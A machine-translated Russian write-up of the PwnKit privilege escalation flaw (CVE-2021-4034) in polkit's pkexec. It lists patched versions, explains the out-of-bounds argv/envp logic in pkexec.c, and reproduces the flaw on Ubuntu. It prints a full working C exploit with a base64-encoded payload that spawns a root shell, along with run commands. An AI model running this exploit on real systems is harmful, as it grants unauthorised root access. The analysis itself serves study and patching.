CVE-2021-4034 уязвимость повышения привилегий polkit (pkexec) появляется снова
CVE-2021-4034 уязвимость повышения привилегий polkit (pkexec) появляется снова

1. Краткое описание уязвимости:

Polkit — это менеджер авторизации. Его системная архитектура состоит из агентов авторизации и аутентификации. pkexec — один из инструментов polkit. Его функция чем-то похожа на sudo, позволяя пользователям выполнять команды от имени другого пользователя.

polkit предоставляет API авторизации для использования привилегированными программами («МЕХАНИЗМЫ») и непривилегированными программами («СУБЪЕКТЫ»), обычно через ту или иную форму механизма межпроцессного взаимодействия. В этом случае механизм обычно рассматривает субъект как недоверенный. Для каждого запроса от принципала механизм должен определить, авторизован ли запрос или ему следует отказать в обслуживании принципалу. Используя API-интерфейс polkit, механизм может передать это решение доверенной стороне: органу власти polkit.

polkit Разрешения реализованы как системные демоны. polkitd (8),Он не имеет никаких привилегий сам по себе,Потому что это начинается с polkitdЗапуск от имени системного пользователя。механизм、Принципалы и агенты аутентификации общаются с органами власти, используя системную шину сообщений.

Помимо авторизации, polkit также позволяет пользователям получать временную авторизацию путем аутентификации администратора или владельца сеанса, к которому принадлежит клиент. Это полезно для сценариев, когда механизму необходимо проверить, что оператор системы действительно является пользователем или пользователем с правами администратора.

Базовый состав плокита

polkit— Менеджер авторизации

polkitd— polkit Системный демон

pkcheck— Проверьте, авторизован ли процесс

pkaction— Получить подробную информацию о зарегистрированных операциях

pkexec— Выполнить команду от имени другого пользователя

pkttyagent— Помощник по аутентификации текста

полкит архитектура
полкит архитектура

2. Затронутые версии:

1. Затронутые версии

Язык кода:javascript
копировать
· Все выпуски с мая 2009 г. по настоящее время Polkit Версия
Примечание. Polkit предварительно установлен во многих дистрибутивах Linux, таких как CentOS, Ubuntu, Debian, Redhat, Fedora, Gentoo, Mageia и т. д. Это касается всех систем Linux, где существует Polkit.

2. Незатронутая версия

Язык кода:javascript
копировать
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1

3.логика использования exp:

exp1Связь:https://github.com/luijait/PwnKit-Exploit

https://github.com/luijait/PwnKit-Exploit/exploit.c

Язык кода:javascript
копировать
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
 * @author: luijait
 * @version: 1.0
 * @CVE: CVE-2021-4034 
*/

void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");		
}

void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploit\nhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}

int main(int argc, char **argv)
{
	
banner();
	
enviroment();
	
char * const idk[] = {
	NULL
};
char * const entorno[] = {"tmp", 
			  "PATH=GCONV_PATH=.", 
			  "SHELL=/random", 
			  "CHARSET=PWNKIT",
			  "GIO_USE_VFS=",NULL
			 };
	printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
	return execve("/usr/bin/pkexec", idk, entorno);
	
}

Основное объяснение:

Язык кода:javascript
копировать
argc указывает, сколько существует параметров командной строки.,Первый — это имя программы выполнения.,такargcПо меньшей мере1。
argv — это конкретный параметр.
envp — переменная системной среды. Обычная форма: «имя=значение», завершается NULL.

char *argv[ ] Массив строк, представляющий параметры командной строки, используемый для хранения массива указателей на строковые параметры, где каждый элемент указывает на параметр.
envp Сохраните параметры текущей среды выполнения программы.
int argc представляет количество строк командной строки.

exp2Связь:https://github.com/PeterGottesman/pwnkit-exploit

логика выполнения эксплойта.c
логика выполнения эксплойта.c

4. Логика точек уязвимости:

pkexecИсходный код:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

Логика точки уязвимости: если при выполнении pkexec указан вредоносный envp[0], переменная среды может быть записана в пространство целевого процесса.

1. Строка 534, начальное значение n равно 1.

Язык кода:javascript
копировать
534   for (n = 1; n < (guint) argc; n++)

2. Строка 610, argv[1] фактически указывает на envp[0], и путь будет назначен envp[0]

Язык кода:javascript
копировать
610   path = g_strdup (argv[n]);

3. Строка 632, найдите абсолютный путь к программе через переменную среды PATH и верните: s = g_find_program_in_path(путь),

Язык кода:javascript
копировать
632   s = g_find_program_in_path (path);

4. Строка 639, наконец, вызывает выход индекса массива за пределы: в этот момент argv[1] назначается абсолютный адрес, то есть envp[0] назначается абсолютный адрес.

Язык кода:javascript
копировать
639   argv[n] = path = s;

5. Повторение уязвимости

1. Среда воспроизводства:

Операционная система: Linux VM-0-5-ubuntu 5.4.0-88-generic x86_64 x86_64 x86_64 GNU/Linux

ubuntu 20.04.4
ubuntu 20.04.4

версия pkexec: 0.105

pkexec 0.105
pkexec 0.105

2. Триггер повышения привилегий при обнаружении уязвимости:

(1) Локальные разрешения обычного пользователя: разрешения Ubuntu.

Язык кода:javascript
копировать
id

(2) Выполните exp для повышения уровня корня

Язык кода:javascript
копировать
make
./exploit
id
Привилегии успешно повышены
Привилегии успешно повышены

6. Ссылка на принцип уязвимости:

PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)

Qualys Бхарат, директор по исследованиям уязвимостей и угроз Jogi Bharat Jogi, Director, Vulnerability and Threat Research, Qualys https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

обзор полкита

https://www.freedesktop.org/software/polkit/docs/latest/

polkit архитектура и описание

https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html

pkexec архитектура и описание

https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html

CVE-2021-4034 углубленный анализ и воспроизведение уязвимости

23R3F:

https://xz.aliyun.com/t/10870

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода